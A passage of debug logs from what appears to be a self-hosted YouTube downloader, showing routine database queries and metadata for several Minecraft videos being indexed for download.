AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [140207] 19:44:16.062 [debug] Current batch of media processed. Will check again in 1000ms 19:44:17.063 [debug] Current batch of media processed. Will check again in 1000ms 19:44:18.064 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and Axy are playing with YOU in a OP LUCKY BLOCK RACE in Minecraft! LUCKY BLOCK RACE in Minecraft!? Who wins? Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 1064, "filename" => "/downloads/rory/Mongo/2026-05-28 YOU Play a OP LUCKY BLOCK RACE in Minecraft!/YOU Play a OP LUCKY BLOCK RACE in Minecraft! [DQr3uoXq09E].mp4", "id" => "DQr3uoXq09E", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=DQr3uoXq09E", "playlist_index" => 7, "timestamp" => 1779989162, "title" => "YOU Play a OP LUCKY BLOCK RACE in Minecraft!", "upload_date" => "20260528"} 19:44:18.065 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=365.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:44:18.066 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=366.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:18.071 [debug] QUERY OK source="media_items" db=3.3ms queue=0.2ms idle=367.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-28 17:26:02Z], 31] 19:44:18.072 [debug] QUERY OK source="media_items" db=0.6ms idle=371.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy are playing with YOU in a OP LUCKY BLOCK RACE in Minecraft! LUCKY BLOCK RACE in Minecraft!? Who wins? Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "YOU Play a OP LUCKY BLOCK RACE in Minecraft!", "8d129c0c-67be-4d16-90b6-d64e6b1db45f", "DQr3uoXq09E", false, "https://www.youtube.com/watch?v=DQr3uoXq09E", 31, [], 1064, false, 7, "/downloads/rory/Mongo/2026-05-28 YOU Play a OP LUCKY BLOCK RACE in Minecraft!/YOU Play a OP LUCKY BLOCK RACE in Minecraft! [DQr3uoXq09E].mp4", false, false, 98, ~U[2026-05-28 17:26:02Z], ~U[2026-06-03 23:44:18Z], ~U[2026-06-03 23:44:18Z], "Mongo and Axy are playing with YOU in a OP LUCKY BLOCK RACE in Minecraft! LUCKY BLOCK RACE in Minecraft!? Who wins? Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "YOU Play a OP LUCKY BLOCK RACE in Minecraft!", "DQr3uoXq09E", "https://www.youtube.com/watch?v=DQr3uoXq09E", 31, 1064, false, "/downloads/rory/Mongo/2026-05-28 YOU Play a OP LUCKY BLOCK RACE in Minecraft!/YOU Play a OP LUCKY BLOCK RACE in Minecraft! [DQr3uoXq09E].mp4", false, ~U[2026-05-28 17:26:02Z]] 19:44:18.072 [debug] QUERY OK source="sources" db=0.1ms idle=50.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:18.072 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:18.073 [debug] QUERY OK source="media_items" db=0.1ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [139990] 19:44:18.073 [debug] Current batch of media processed. Will check again in 1000ms 19:44:19.074 [debug] Current batch of media processed. Will check again in 1000ms 19:44:20.075 [debug] Current batch of media processed. Will check again in 1000ms 19:44:21.077 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and his friends survived 100 Days as SUNMAN MONSTER in Minecraft! What happens? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 1050, "filename" => "/downloads/rory/Mongo/2026-05-27 I Survived 100 Days as SUNMAN MONSTER in Minecraft!/I Survived 100 Days as SUNMAN MONSTER in Minecraft! [T3NuRrQoyYg].mp4", "id" => "T3NuRrQoyYg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=T3NuRrQoyYg", "playlist_index" => 8, "timestamp" => 1779901227, "title" => "I Survived 100 Days as SUNMAN MONSTER in Minecraft!", "upload_date" => "20260527"} 19:44:21.078 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1378.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:44:21.078 [debug] QUERY OK source="sources" db=0.1ms idle=1379.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:21.080 [debug] QUERY OK source="media_items" db=1.2ms idle=1379.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-27 17:00:27Z], 31] 19:44:21.082 [debug] QUERY OK source="media_items" db=1.5ms idle=1056.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and his friends survived 100 Days as SUNMAN MONSTER in Minecraft! What happens? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "I Survived 100 Days as SUNMAN MONSTER in Minecraft!", "fcbee408-d2a9-4c11-a8d7-a9d04acc1298", "T3NuRrQoyYg", false, "https://www.youtube.com/watch?v=T3NuRrQoyYg", 31, [], 1050, false, 8, "/downloads/rory/Mongo/2026-05-27 I Survived 100 Days as SUNMAN MONSTER in Minecraft!/I Survived 100 Days as SUNMAN MONSTER in Minecraft! [T3NuRrQoyYg].mp4", false, false, 98, ~U[2026-05-27 17:00:27Z], ~U[2026-06-03 23:44:21Z], ~U[2026-06-03 23:44:21Z], "Mongo and his friends survived 100 Days as SUNMAN MONSTER in Minecraft! What happens? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "I Survived 100 Days as SUNMAN MONSTER in Minecraft!", "T3NuRrQoyYg", "https://www.youtube.com/watch?v=T3NuRrQoyYg", 31, 1050, false, "/downloads/rory/Mongo/2026-05-27 I Survived 100 Days as SUNMAN MONSTER in Minecraft!/I Survived 100 Days as SUNMAN MONSTER in Minecraft! [T3NuRrQoyYg].mp4", false, ~U[2026-05-27 17:00:27Z]] 19:44:21.082 [debug] QUERY OK source="sources" db=0.1ms idle=56.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:21.082 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:21.083 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [139775] 19:44:21.083 [debug] Current batch of media processed. Will check again in 1000ms 19:44:22.083 [debug] Current batch of media processed. Will check again in 1000ms 19:44:23.084 [debug] Current batch of media processed. Will check again in 1000ms 19:44:24.085 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and his friends are Having Doomsday Bunker VS FOOD TSUNAMI in Minecraft! What happens? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 935, "filename" => "/downloads/rory/Mongo/2026-05-26 FOOD TSUNAMI vs Doomsday Bunker in Minecraft!/FOOD TSUNAMI vs Doomsday Bunker in Minecraft! [yiadofzzi7Y].mp4", "id" => "yiadofzzi7Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=yiadofzzi7Y", "playlist_index" => 9, "timestamp" => 1779814800, "title" => "FOOD TSUNAMI vs Doomsday Bunker in Minecraft!", "upload_date" => "20260526"} 19:44:24.087 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1386.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:44:24.088 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1388.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:24.091 [debug] QUERY OK source="media_items" db=2.4ms idle=1389.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-26 17:00:00Z], 31] 19:44:24.092 [debug] QUERY OK source="media_items" db=0.5ms idle=1063.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and his friends are Having Doomsday Bunker VS FOOD TSUNAMI in Minecraft! What happens? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "FOOD TSUNAMI vs Doomsday Bunker in Minecraft!", "ca6698e4-a355-4c5f-b99d-6298f80fecb1", "yiadofzzi7Y", false, "https://www.youtube.com/watch?v=yiadofzzi7Y", 31, [], 935, false, 9, "/downloads/rory/Mongo/2026-05-26 FOOD TSUNAMI vs Doomsday Bunker in Minecraft!/FOOD TSUNAMI vs Doomsday Bunker in Minecraft! [yiadofzzi7Y].mp4", false, false, 98, ~U[2026-05-26 17:00:00Z], ~U[2026-06-03 23:44:24Z], ~U[2026-06-03 23:44:24Z], "Mongo and his friends are Having Doomsday Bunker VS FOOD TSUNAMI in Minecraft! What happens? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "FOOD TSUNAMI vs Doomsday Bunker in Minecraft!", "yiadofzzi7Y", "https://www.youtube.com/watch?v=yiadofzzi7Y", 31, 935, false, "/downloads/rory/Mongo/2026-05-26 FOOD TSUNAMI vs Doomsday Bunker in Minecraft!/FOOD TSUNAMI vs Doomsday Bunker in Minecraft! [yiadofzzi7Y].mp4", false, ~U[2026-05-26 17:00:00Z]] 19:44:24.092 [debug] QUERY OK source="sources" db=0.1ms idle=62.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:24.092 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:24.093 [debug] QUERY OK source="media_items" db=0.2ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [139557] 19:44:24.093 [debug] Current batch of media processed. Will check again in 1000ms 19:44:25.094 [debug] Current batch of media processed. Will check again in 1000ms 19:44:26.095 [debug] Current batch of media processed. Will check again in 1000ms 19:44:27.096 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo Pretended to be a BABY SUNMAN on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 966, "filename" => "/downloads/rory/Mongo/2026-05-25 I Pretended to be BABY SUNMAN on a One Chunk in Minecraft!/I Pretended to be BABY SUNMAN on a One Chunk in Minecraft! [25gZa2W_uyA].mp4", "id" => "25gZa2W_uyA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=25gZa2W_uyA", "playlist_index" => 10, "timestamp" => 1779728401, "title" => "I Pretended to be BABY SUNMAN on a One Chunk in Minecraft!", "upload_date" => "20260525"} 19:44:27.097 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1397.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:44:27.098 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1398.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:27.101 [debug] QUERY OK source="media_items" db=2.5ms queue=0.1ms idle=1399.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-25 17:00:01Z], 31] 19:44:27.102 [debug] QUERY OK source="media_items" db=0.5ms idle=1068.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pretended to be a BABY SUNMAN on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be BABY SUNMAN on a One Chunk in Minecraft!", "a1df01e7-fb0d-479e-b181-a564b9d50b27", "25gZa2W_uyA", false, "https://www.youtube.com/watch?v=25gZa2W_uyA", 31, [], 966, false, 10, "/downloads/rory/Mongo/2026-05-25 I Pretended to be BABY SUNMAN on a One Chunk in Minecraft!/I Pretended to be BABY SUNMAN on a One Chunk in Minecraft! [25gZa2W_uyA].mp4", false, false, 98, ~U[2026-05-25 17:00:01Z], ~U[2026-06-03 23:44:27Z], ~U[2026-06-03 23:44:27Z], "Mongo Pretended to be a BABY SUNMAN on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be BABY SUNMAN on a One Chunk in Minecraft!", "25gZa2W_uyA", "https://www.youtube.com/watch?v=25gZa2W_uyA", 31, 966, false, "/downloads/rory/Mongo/2026-05-25 I Pretended to be BABY SUNMAN on a One Chunk in Minecraft!/I Pretended to be BABY SUNMAN on a One Chunk in Minecraft! [25gZa2W_uyA].mp4", false, ~U[2026-05-25 17:00:01Z]] 19:44:27.103 [debug] QUERY OK source="sources" db=0.1ms idle=68.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:27.103 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:27.103 [debug] QUERY OK source="media_items" db=0.2ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [139344] 19:44:27.103 [debug] Current batch of media processed. Will check again in 1000ms 19:44:28.104 [debug] Current batch of media processed. Will check again in 1000ms 19:44:29.105 [debug] Current batch of media processed. Will check again in 1000ms 19:44:30.106 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and his Friends are doing a build battle, except YOU are cheating? Watch to find out!\n\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 1120, "filename" => "/downloads/rory/Mongo/2026-05-24 YOU Cheat With SECRET CAMERAS In Minecraft Build Battle!/YOU Cheat With SECRET CAMERAS In Minecraft Build Battle! [NKbjniE9Ug4].mp4", "id" => "NKbjniE9Ug4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=NKbjniE9Ug4", "playlist_index" => 11, "timestamp" => 1779644095, "title" => "YOU Cheat With SECRET CAMERAS In Minecraft Build 